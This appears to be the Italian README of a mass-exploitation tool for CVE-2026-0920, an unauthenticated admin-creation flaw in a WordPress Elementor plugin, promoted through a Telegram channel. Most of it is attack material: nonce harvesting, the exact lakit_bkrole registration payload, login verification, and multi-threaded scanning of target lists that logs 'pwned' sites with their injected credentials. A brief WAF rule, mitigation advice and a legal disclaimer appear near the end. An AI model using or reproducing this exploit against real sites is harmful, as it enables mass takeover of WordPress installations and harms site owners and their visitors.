
LA-Studio Element Kit per Elementor <= 1.5.6.3 - Escalation dei privilegi non autenticata tramite backdoor per la creazione di utenti amministrativi tramite il parametro lakit_bkrole
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Escalation dei privilegi non autenticata tramite backdoor per la creazione di utenti amministrativi tramite il parametro lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 L'exploit arriva qui per primo. Segui @KNxploited su Telegram — il tuo feed d'élite per CVE appena divulgate, PoC funzionanti e ricerca sulla sicurezza di precisione. Aggiornato senza sosta. Creato per chi vuole restare avanti.
CVE-2026-0920 è una vulnerabilità CVSS 9.8 Critical scoperta nel plugin WordPress LA-Studio Element Kit for Elementor.
Il difetto risiede nella funzione ajax_register_handle(), che elabora le registrazioni utente non autenticate tramite AJAX. La funzione non impone alcuna restrizione sul parametro lakit_bkrole — consentendo a un attaccante completamente non autenticato di auto-assegnarsi il ruolo administrator durante la registrazione, ottenendo il pieno controllo dell'account admin di WordPress in una singola richiesta.
La causa principale è la mancanza di un controllo delle capability del ruolo all'interno del gestore di registrazione AJAX del plugin:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
Perché è critico:
wp_ajax_nopriv_* = accessibile da chiunque senza alcuna autenticazionelakit_bkrole accetta qualsiasi stringa di ruolo WordPress — incluso administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| Dipendenza | Scopo |
|---|---|
requests | Richieste HTTP, gestione della sessione, gestione dei cookie |
colorama |
Consigliato Python 3.10+ (usa i type hint con unione
str | None).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
Apri CVE-2026-0920.py e modifica le costanti in cima per impostare i dettagli desiderati dell'account admin:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
Crea list.txt con un URL target per riga:
https://target1.com
https://target2.com
http://target3.com
Gli URL senza schema vengono automaticamente preceduti da
https://.
python CVE-2026-0920.py
Ti verrà chiesto:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
Lo script produce un output terminale in tempo reale e codificato a colori:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| Colore | Significato |
|---|
Gli exploit riusciti vengono scritti in success_results.txt:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
Ogni riga contiene il quadro completo: target, credenziali, stato del login, stato della risposta AJAX e nonce utilizzato.
Lo script esegue una verifica in due fasi per eliminare i falsi positivi:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
Questo elimina i falsi positivi causati da siti che restituiscono 200 OK sulla chiamata AJAX ma falliscono silenziosamente la registrazione.
L'exploit genera questo specifico pattern di rete — per difensori e autori di WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
Regola WAF / IDS (pseudocodice):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
Se sei un proprietario di un sito, uno sviluppatore o un difensore, agisci immediatamente:
admin-ajax.php contenenti lakit_bkrole a livello di WAFlakit_ajaxTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Username | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Segui @KNxploited su Telegram CVE appena divulgate. Exploit funzionanti. Ricerca approfondita sulle vulnerabilità. I primi a sapere. I primi ad agire. Non essere l'ultimo.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-0920 |
| Plugin | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| Versioni interessate | Tutte le versioni fino alla 1.5.6.3 inclusa |
| Tipo di vulnerabilità | Escalation dei privilegi non autenticata / Creazione admin |
| Vettore d'attacco | Rete — Nessuna autenticazione richiesta |
| Punteggio CVSS 3.1 | 9.8 CRITICAL |
| Vettore CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impatto | Pieno controllo dell'account amministratore WordPress |
| Ricercatore | Nxploited |
| Output terminale colorato su tutte le piattaforme |
threading | Elaborazione concorrente di più target |
re | Estrazione del nonce tramite regex da HTML/JS |
🔵 Ciano [*] | Informativo — passaggio in corso |
🟢 Verde [+] | Segnale positivo — successo parziale o totale |
🟡 Giallo [!] | Avviso — risultato ambiguo, da verificare |
🔴 Rosso [-] | Errore — target non sfruttabile o con errore |
| Parametro | Default | Descrizione |
|---|
| File dei target | list.txt | File contenente gli URL dei target |
| Thread | 10 (max: 50) | Worker concorrenti |
ADMIN_EMAIL | [email protected] | Email per l'account admin iniettato |
ADMIN_PASSWORD | adminSA | Password per l'account admin iniettato |
ADMIN_USERNAME | Nx_admin | Username per l'account admin iniettato |